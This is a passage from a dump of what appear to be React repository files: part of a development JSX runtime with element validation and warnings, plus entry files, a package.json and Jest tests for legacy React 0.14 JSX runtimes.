(!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = require('react/lib/ReactCurrentOwner');\n\nfunction setCurrentlyValidatingElement$1(element) {\n  currentlyValidatingElement = element;\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = ReactCurrentOwner$1.current.getName();\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + element._owner.getName() + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n// even with the prod transform. This means that jsxDEV is purely\n// opt-in behavior for better messages but that we won't stop\n// giving you warnings if you use production apis.\n\nfunction jsxWithValidationStatic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, true);\n  }\n}\nfunction jsxWithValidationDynamic(type, props, key) {\n  {\n    return jsxWithValidation(type, props, key, false);\n  }\n}\n\nvar jsx =  jsxWithValidationDynamic ; // we may want to special case jsxs internally to take advantage of static children.\n// for now we can ship identical prod functions\n\nvar jsxs =  jsxWithValidationStatic ;\n\nexports.jsx = jsx;\nexports.jsxs = jsxs;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-14/jsx-dev-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-dev-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-dev-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-14/jsx-runtime.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-jsx-runtime.production.min.js');\n} else {\n  module.exports = require('./cjs/react-jsx-runtime.development.js');\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-14/package.json",
    "content": "{\n  \"dependencies\": {\n    \"react\": \"0.14\",\n    \"react-dom\": \"0.14\"\n  }\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-14/react-14.test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n// These tests are based on ReactJSXElement-test,\n// ReactJSXElementValidator-test, ReactComponent-test,\n// and ReactElementJSX-test.\n\njest.mock('react/jsx-runtime', () => require('./jsx-runtime'), {virtual: true});\njest.mock('react/jsx-dev-runtime', () => require('./jsx-dev-runtime'), {\n  virtual: true,\n});\n\nlet React = require('react');\nlet ReactDOM = require('react-dom');\nlet ReactTestUtils = {\n  renderIntoDocument(el) {\n    const container = document.createElement('div');\n    return ReactDOM.render(el, container);\n  },\n};\nlet PropTypes = React.PropTypes;\nlet Component = class Component extends React.Component {\n  render() {\n    return <div />;\n  }\n};\nlet RequiredPropComponent = class extends React.Component {\n  render() {\n    return <span>{this.props.prop}</span>;\n  }\n};\nRequiredPropComponent.displayName = 'RequiredPropComponent';\nRequiredPropComponent.propTypes = {prop: PropTypes.string.isRequired};\n\nit('works', () => {\n  const container = document.createElement('div');\n  ReactDOM.render(<h1>hello</h1>, container);\n  expect(container.textContent).toBe('hello');\n});\n\nit('returns a complete element according to spec', () => {\n  const element = <Component />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a lower-case to be passed as the string type', () => {\n  const element = <div />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('allows a string to be passed as the type', () => {\n  const TagName = 'div';\n  const element = <TagName />;\n  expect(element.type).toBe('div');\n  expect(element.key).toBe(null);\n  expect(element.ref).toBe(null);\n  const expectation = {};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('returns an immutable element', () => {\n  const element = <Component />;\n  if (process.env.NODE_ENV === 'development') {\n    expect(() => (element.type = 'div')).toThrow();\n  } else {\n    expect(() => (element.type = 'div')).not.toThrow();\n  }\n});\n\nit('does not reuse the object that is spread into props', () => {\n  const config = {foo: 1};\n  const element = <Component {...config} />;\n  expect(element.props.foo).toBe(1);\n  config.foo = 2;\n  expect(element.props.foo).toBe(1);\n});\n\nit('extracts key and ref from the rest of the props', () => {\n  const element = <Component key=\"12\" ref=\"34\" foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe('34');\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('coerces the key to a string', () => {\n  const element = <Component key={12} foo=\"56\" />;\n  expect(element.type).toBe(Component);\n  expect(element.key).toBe('12');\n  expect(element.ref).toBe(null);\n  const expectation = {foo: '56'};\n  Object.freeze(expectation);\n  expect(element.props).toEqual(expectation);\n});\n\nit('merges JSX children onto the children prop', () => {\n  const a = 1;\n  const element = <Component children=\"text\">{a}</Component>;\n  expect(element.props.children).toBe(a);\n});\n\nit('does not override children if no JSX children are provided', () => {\n  const element = <Component children=\"text\" />;\n  expect(element.props.children).toBe('text');\n});\n\nit('overrides children if null is provided as a JSX child', () => {\n  const element = <Component children=\"text\">{null}</Component>;\n  expect(element.props.children).toBe(null);\n});\n\nit('overrides children if undefined is provided as an argument', () => {\n  const element = <Component children=\"text\">{undefined}</Component>;\n  expect(element.props.children).toBe(undefined);\n\n  const element2 = React.cloneElement(\n    <Component children=\"text\" />,\n    {},\n    undefined\n  );\n  expect(element2.props.children).toBe(undefined);\n});\n\nit('merges JSX children onto the children prop in an array', () => {\n  const a = 1;\n  const b = 2;\n  const c = 3;\n  const element = (\n    <Component>\n      {a}\n      {b}\n      {c}\n    </Component>\n  );\n  expect(element.props.children).toEqual([1, 2, 3]);\n});\n\nit('allows static methods to be called using the type property', () => {\n  class StaticMethodComponent {\n    static someStaticMethod() {\n      return 'someReturnValue';\n    }\n    render() {\n      return <div />;\n    }\n  }\n\n  const element = <StaticMethodComponent />;\n  expect(element.type.someStaticMethod()).toBe('someReturnValue');\n});\n\nit('identifies valid elements', () => {\n  expect(React.isValidElement(<div />)).toEqual(true);\n  expect(React.isValidElement(<Component />)).toEqual(true);\n\n  expect(React.isValidElement(null)).toEqual(false);\n  expect(React.isValidElement(true)).toEqual(false);\n  expect(React.isValidElement({})).toEqual(false);\n  expect(React.isValidElement('string')).toEqual(false);\n  expect(React.isValidElement(Component)).toEqual(false);\n  expect(React.isValidElement({type: 'div', props: {}})).toEqual(false);\n});\n\nit('is indistinguishable from a plain object', () => {\n  const element = <div className=\"foo\" />;\n  const object = {};\n  expect(element.constructor).toBe(object.constructor);\n});\n\nit('should use default prop value when removing a prop', () => {\n  Component.defaultProps = {fruit: 'persimmon'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Component fruit=\"mango\" />, container);\n  expect(instance.props.fruit).toBe('mango');\n\n  ReactDOM.render(<Component />, container);\n  expect(instance.props.fruit).toBe('persimmon');\n});\n\nit('should normalize props with default values', () => {\n  class NormalizingComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NormalizingComponent.defaultProps = {prop: 'testKey'};\n\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<NormalizingComponent />, container);\n  expect(instance.props.prop).toBe('testKey');\n\n  const inst2 = ReactDOM.render(\n    <NormalizingComponent prop={null} />,\n    container\n  );\n  expect(inst2.props.prop).toBe(null);\n});\n\nit('warns for keys for arrays of elements in children position', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <Component>{[<Component />, <Component />]}</Component>\n    )\n  ).toErrorDev('Each child in a list should have a unique \"key\" prop.', {\n    withoutStack: true,\n  });\n});\n\nit('warns for keys for arrays of elements with owner info', () => {\n  class InnerComponent extends React.Component {\n    render() {\n      return <Component>{this.props.childSet}</Component>;\n    }\n  }\n\n  class ComponentWrapper extends React.Component {\n    render() {\n      return <InnerComponent childSet={[<Component />, <Component />]} />;\n    }\n  }\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<ComponentWrapper />)\n  ).toErrorDev(\n    'Each child in a list should have a unique \"key\" prop.' +\n      '\\n\\nCheck the render method of `InnerComponent`. ' +\n      'It was passed a child from ComponentWrapper. ',\n    {withoutStack: true}\n  );\n});\n\nit('does not warn for arrays of elements with keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>{[<Component key=\"#1\" />, <Component key=\"#2\" />]}</Component>\n  );\n});\n\nit('does not warn for iterable elements with keys', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {\n            value: done ? undefined : <Component key={'#' + i} />,\n            done: done,\n          };\n        },\n      };\n    },\n  };\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn for numeric keys in entry iterable as a child', () => {\n  const iterable = {\n    '@@iterator': function () {\n      let i = 0;\n      return {\n        next: function () {\n          const done = ++i > 2;\n          return {value: done ? undefined : [i, <Component />], done: done};\n        },\n      };\n    },\n  };\n  iterable.entries = iterable['@@iterator'];\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn when the element is directly as children', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>\n      <Component />\n      <Component />\n    </Component>\n  );\n});\n\nit('does not warn when the child array contains non-elements', () => {\n  void (<Component>{[{}, {}]}</Component>);\n});\n\nit('should give context for PropType errors in nested components.', () => {\n  // In this test, we're making sure that if a proptype error is found in a\n  // component, we give a small hint as to which parent instantiated that\n  // component as per warnings about key usage in ReactElementValidator.\n  function MyComp({color}) {\n    return <div>My color is {color}</div>;\n  }\n  MyComp.propTypes = {\n    color: PropTypes.string,\n  };\n  class ParentComp extends React.Component {\n    render() {\n      return <MyComp color={123} />;\n    }\n  }\n  expect(() => ReactTestUtils.renderIntoDocument(<ParentComp />)).toErrorDev(\n    'Warning: Failed prop type: ' +\n      'Invalid prop `color` of type `number` supplied to `MyComp`, ' +\n      'expected `string`.',\n    {withoutStack: true}\n  );\n});\n\nit('gives a helpful error when passing null, undefined, or boolean', () => {\n  const Undefined = undefined;\n  const Null = null;\n  const True = true;\n  const Div = 'div';\n  expect(() => void (<Undefined />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: undefined. You likely forgot to export your ' +\n      \"component from the file it's defined in, or you might have mixed up \" +\n      'default and named imports.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<Null />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: null.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<True />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: boolean.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  // No error expected\n  void (<Div />);\n});\n\nit('should check default prop values', () => {\n  RequiredPropComponent.defaultProps = {prop: null};\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<RequiredPropComponent />)\n  ).toErrorDev(\n    'Warning: Failed prop type: Required prop `prop` was not specified in ' +\n      '`RequiredPropComponent`.',\n    {withoutStack: true}\n  );\n});\n\nit('should warn on invalid prop types', () => {\n  // Since there is no prevalidation step for ES6 classes, there is no hook\n  // for us to issue a warning earlier than element creation when the error\n  // actually occurs. Since this step is skipped in production, we should just\n  // warn instead of throwing for this case.\n  class NullPropTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullPropTypeComponent.propTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullPropTypeComponent />)\n  ).toErrorDev(\n    'NullPropTypeComponent: prop type `prop` is invalid; it must be a ' +\n      'function, usually from the `prop-types` package,',\n    {withoutStack: true}\n  );\n});\n\nxit('should warn on invalid context types', () => {\n  class NullContextTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullContextTypeComponent.contextTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullContextTypeComponent />)\n  ).toErrorDev(\n    'NullContextTypeComponent: type `prop` is invalid; it must ' +\n      'be a function, usually from the `prop-types` package,'\n  );\n});\n\nit('should warn if getDefaultProps is specified on the class', () => {\n  class GetDefaultPropsComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  GetDefaultPropsComponent.getDefaultProps = () => ({\n    prop: 'foo',\n  });\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<GetDefaultPropsComponent />)\n  ).toErrorDev(\n    'getDefaultProps is only used on classic React.createClass definitions.' +\n      ' Use a static property named `defaultProps` instead.',\n    {withoutStack: true}\n  );\n});\n\nit('should warn if component declares PropTypes instead of propTypes', () => {\n  class MisspelledPropTypesComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  MisspelledPropTypesComponent.PropTypes = {\n    prop: PropTypes.string,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <MisspelledPropTypesComponent prop=\"hi\" />\n    )\n  ).toErrorDev(\n    'Warning: Component MisspelledPropTypesComponent declared `PropTypes` ' +\n      'instead of `propTypes`. Did you misspell the property assignment?',\n    {withoutStack: true}\n  );\n});\n\n// Not supported.\nxit('warns for fragments with illegal attributes', () => {\n  class Foo extends React.Component {\n    render() {\n      return <React.Fragment a={1}>hello</React.Fragment>;\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n      'can only have `key` and `children` props.'\n  );\n});\n\n// Not supported.\nxit('warns for fragments with refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return (\n        <React.Fragment\n          ref={bar => {\n            this.foo = bar;\n          }}>\n          hello\n        </React.Fragment>\n      );\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid attribute `ref` supplied to `React.Fragment`.'\n  );\n});\n\n// Not supported.\nxit('does not warn for fragments of multiple elements without keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <>\n      <span>1</span>\n      <span>2</span>\n    </>\n  );\n});\n\n// Not supported.\nxit('warns for fragments of multiple elements with same key', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <>\n        <span key=\"a\">1</span>\n        <span key=\"a\">2</span>\n        <span key=\"b\">3</span>\n      </>\n    )\n  ).toErrorDev('Encountered two children with the same key, `a`.', {\n    withoutStack: true,\n  });\n});\n\n// Not supported.\nxit('does not call lazy initializers eagerly', () => {\n  let didCall = false;\n  const Lazy = React.lazy(() => {\n    didCall = true;\n    return {then() {}};\n  });\n  <Lazy />;\n  expect(didCall).toBe(false);\n});\n\nit('supports classic refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return <div className=\"foo\" ref=\"inner\" />;\n    }\n  }\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Foo />, container);\n  expect(instance.refs.inner.className).toBe('foo');\n});\n\nit('should support refs on owned components', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  class Component extends React.Component {\n    render() {\n      const inner = <Wrapper object={innerObj} ref=\"inner\" />;\n      const outer = (\n        <Wrapper object={outerObj} ref=\"outer\">\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.refs.inner.getObject()).toEqual(innerObj);\n      expect(this.refs.outer.getObject()).toEqual(outerObj);\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n});\n\nit('should support callback-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    render() {\n      const inner = (\n        <Wrapper object={innerObj} ref={c => (this.innerRef = c)} />\n      );\n      const outer = (\n        <Wrapper object={outerObj} ref={c => (this.outerRef = c)}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.getObject()).toEqual(innerObj);\n      expect(this.outerRef.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\n// Not supported.\nxit('should support object-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    constructor() {\n      super();\n      this.innerRef = React.createRef();\n      this.outerRef = React.createRef();\n    }\n    render() {\n      const inner = <Wrapper object={innerObj} ref={this.innerRef} />;\n      const outer = (\n        <Wrapper object={outerObj} ref={this.outerRef}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.current.getObject()).toEqual(innerObj);\n      expect(this.outerRef.current.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should support new-style refs with mixed-up owners', () => {\n  class Wrapper extends React.Component {\n    getTitle = () => {\n      return this.props.title;\n    };\n\n    render() {\n      return this.props.getContent();\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends 